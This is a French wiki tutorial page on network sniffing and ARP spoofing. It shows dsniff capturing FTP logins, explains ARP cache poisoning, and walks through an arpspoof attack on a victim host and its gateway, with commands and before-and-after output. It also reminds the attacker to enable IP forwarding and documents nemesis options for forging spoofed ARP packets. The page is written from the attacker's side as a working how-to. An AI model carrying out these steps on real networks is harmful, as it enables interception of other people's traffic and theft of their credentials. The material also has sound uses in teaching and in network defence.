Outils pour utilisateurs

Outils du site


tuto:linux:sniffeur_attaque_arp_spoofing

Sniffeur

  • dsniff
aptitude install dsniff

root@ubuntu:~# dsniff -i eth0
dsniff: listening on eth0
-----------------
05/12/08 18:26:13 tcp gigi.home.gigi.45484 -> server.home.gigi.21 (ftp)
USER anonymous
PASS mozilla@example.com
USER administrateur
PASS toto

ARP spoofing

Source : http://ethneo.free.fr/arp_spoofing.php

Cette attaque, appelée aussi ARP Redirect, redirige le trafic réseau d'une ou plusieurs machine vers la machine du pirate. C'est une technique de spoofing efficace bien que détectable dans les logs d'administration; elle consiste à s'attribuer l'adresse IP de la machine cible, c'est-à-dire à faire correspondre son adresse IP à l'adresse MAC de la machine pirate dans les tables ARP des machines du réseau. Pour cela il suffit en fait d'envoyer régulièrement des paquets ARP_reply en broadcast, contenant l'adresse IP cible et la fausse adresse MAC. Cela a pour effet de modifier les tables dynamiques de toutes les machines du réseau. Celles-ci enverront donc leur trames ethernet à la machine pirate tout en croyant communiquer avec la cible, et ce de façon transparente pour les switches. De son côté, la machine pirate stocke le traffic et le renvoie à la vraie machine en forgeant des trames ethernet comportant la vraie adresse MAC (indépendament de l'adresse IP). Cette technique est très puissante puisqu'elle opère au niveau ethernet, permettant ainsi de spoofer le traffic IP et même TCP (cela dépend entre autres des délais engendrés par la machine pirate). D'autre part, elle permet de contourner les barrières que constituent habituellement les switches (partitionnement de réseaux).

Conséquences :

  • Compromissions
  • DoS (cache poisoning), etc…

Elle s'effectue sur le réseau physique des victimes.

Petit rappel sur le fonctionnement du protocole ARP. Le protocole ARP (Address Resolution Protocol) implémente le mécanisme de résolution d'une adresse IP en une adresse MAC Ethernet. Les équipements réseaux communiquent en échangeant des trames Ethernet (dans le cas d'un réseau Ethernet bien sûr) au niveau de la couche liaison de données. Pour pouvoir échanger ces informations il est nécessaire que les cartes réseau possèdent une adresse unique au niveau Ethernet, il s'agit de l'adresse MAC (Media Access Control).

Quand un paquet IP doit être envoyé la machine expéditrice a besoin de l'adresse MAC du destinataire. Pour cela une requête ARP en broadcast est envoyée à chacune des machines du réseau physique local. Cette requête pose la question : “Quelle est l'adresse MAC associée à cette adresse IP ?”. La machine ayant cette adresse IP répond via un paquet ARP, cette réponse indiquant à la machine émettrice l'adresse MAC recherchée. Dès lors, la machine source possède l'adresse MAC correspondant à l'adresse IP destination des paquets qu'elle doit envoyer. Cette correspondance sera gardée pendant un certain temps au niveau d'un cache (pour éviter de faire une nouvelle requête à chaque paquet IP envoyé).

Cette attaque corrompt le cache de la machine victime. Le pirate envoie des paquets ARP réponse à la machine cible indiquant que la nouvelle adresse MAC correspondant à l'adresse IP d'une passerelle (par exemple) est la sienne. La machine du pirate recevra donc tout le trafic à destination de la passerelle, il lui suffira alors d'écouter passivement le trafic (et/ou le modifier). Il routera ensuite les paquets vers la véritable destination.

L'ARP Spoofing sert dans le cas où le réseau local utilise des switchs. Ceux-ci redirigent les trames Ethernet sur des ports différents selon l'adresse MAC. Il est dès lors impossible à un sniffer de capturer des trames au-delà de son brin physique. L'ARP Spoofing permet ainsi d'écouter le trafic entre des machines situées sur des brins différents au niveau du switch.

Pour mettre en oeuvre une attaque par ARP Spoofing, le pirate va utiliser un générateur de paquet ARP comme ARPSpoof ou nemesis. Soit la machine victime 10.0.0.171, sa passerelle par défaut 10.0.0.1et la machine du pirate 10.0.0.227. Avant l'attaque un traceroute donne comme résultat :

[root@cible]$ traceroute 10.0.0.1
traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
1 10.0.0.1 (10.0.0.1) 1.218 ms 1.061 ms 0.849 ms

Et le cache ARP de la machine cible est :

[root@cible]$ arp
Address HWtype HWAddress Flags Mask Iface
10.0.0.1 ether 00:b0:c2:88:de:65 C eth0
10.0.0.227 ether 00:00:86:35:c9:3f C eth0

Le pirate lance alors ARPSpoof :

[root@pirate]$ arpspoof -t 10.0.0.171 10.0.0.1
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f
0:0:86:35:c9:3f 0:60:8:de:64:f0 0806 42: arp reply 10.0.0.1 is-at 0:0:86:35:c9:3f

Les paquets envoyés sont des paquets ARP empoisonnant le cache ARP de la machine 10.0.0.171 avec des ARP Reply indiquant que l'adresse MAC associée à 10.0.0.1 est maintenant 00:00:86:35:c9:3f.

Désormais, le cache ARP de la machine 10.0.0.171 est :

[root@cible -> ~]$ arp
Address HWtype HWAddress Flags Mask Iface
10.0.0.1 ether 00:00:86:35:c9:3f C eth0
10.0.0.227 ether 00:00:86:35:c9:3f C eth0

Pour vérifier que le trafic passe maintenant par la machine 10.0.0.227 il suffit de faire un nouveau traceroute vers la passerelle 10.0.0.1 :

[root@cible -> ~]$ traceroute 10.0.0.1
traceroute to 10.0.0.1 (10.0.0.1), 30 hops max, 40 byte packets
1 10.0.0.227 (10.0.0.227) 1.712 ms 1.465 ms 1.501 ms
2 10.0.0.1 (10.0.0.1) 2.238 ms 2.121 ms 2.169 ms

Le pirate est désormais capable de sniffer le trafic de la machine 10.0.0.171 vers 10.0.0.1.

Il ne faut pas que le pirate oublie d'activer le routage IP sur sa machine 10.0.0.227 (avec l'IP Forwarding - activer la clé > net.ipv4.ip_forward dans /etc/sysctl.conf ou echo 1 > /proc/sys/net/ipv4/ip_forward ou encore fragrouter ).

Tutorial ettercap

Tutorial Nemesis

Nemesis est un forgeur de packets réseaux multi-protocoles. [modifier] Usage

nemesis [mode] [options]

[modifier] Modes

  • arp
  • dns
  • ethernet
  • icmp
  • igmp
  • ip
  • ospf (currently non-functional)
  • rip
  • tcp
  • udp

[modifier] Forger des paquets ARP/RARP

ARP/RARP Utilisation:

arp [-v (Mode bavard)] [options]

ARP/RARP Options:

  • -S <Adresse IP source>
  • -D <Adresse IP destination>
  • -h <Adresse MAC envoyer dans la trame ARP(spoof)>
  • -m <Adresse MAC de la cible dans la trame ARP>
  • -s <Solaris style ARP requests with target hardware addess set to broadcast>
  • -r ({ARP,RARP} permet la réponse)
  • -R (RARP activer)
  • -P <Fichier du code exécutable>

Data Link Options:

  • -d <Nom de l'interface Ethernet>
  • -H <Adresse MAC source>
  • -M <Adresse IP destination>

[modifier] Forger des paquet IP

IP Utilisation:

  • ip [-v (Mode bavard)] [options]

IP Options:

  • -S <Adresse IP source>
  • -D <Adresse IP destination>
  • -I <IP ID>
  • -p <IP numéro de protocole>
  • -T <IP TTL>
  • -t <IP TOS>
  • -F <IP Options de fragmentation >
  • -F[D],[M],[R],[offset]
  • -O <IP Fichier d'options>
  • -P <Fichier du code exécutable>

Data Link Options:

  • -d <Nom de l'interface Ethernet>
  • -H <Adresse MAC source>
  • -M <Adresse IP destination>

[modifier] Exemples

Paquet ARP:

nemesis arp -S 10.0.0.50 -D 10.0.0.1 -h 00:11:22:33:44:55

L'équipement 10.0.0.1 va recevoir une requête ARP de type:

Who has 10.0.0.1 tell 10.0.0.50

Celui-ci va répondre:

10.0.0.1 is at 00:01:29:D5:AE:d5

Et par la même occasion ajouter l'adresse MAC de 10.0.0.50 dans sa table ARP:

arp -a
Interface : 10.0.0.1 --- 0x2
Adresse Internet Adresse physique Type
10.0.0.50 00-11-22-33-44-55 dynamique
tuto/linux/sniffeur_attaque_arp_spoofing.txt · Dernière modification: 2010/08/14 23:33 par root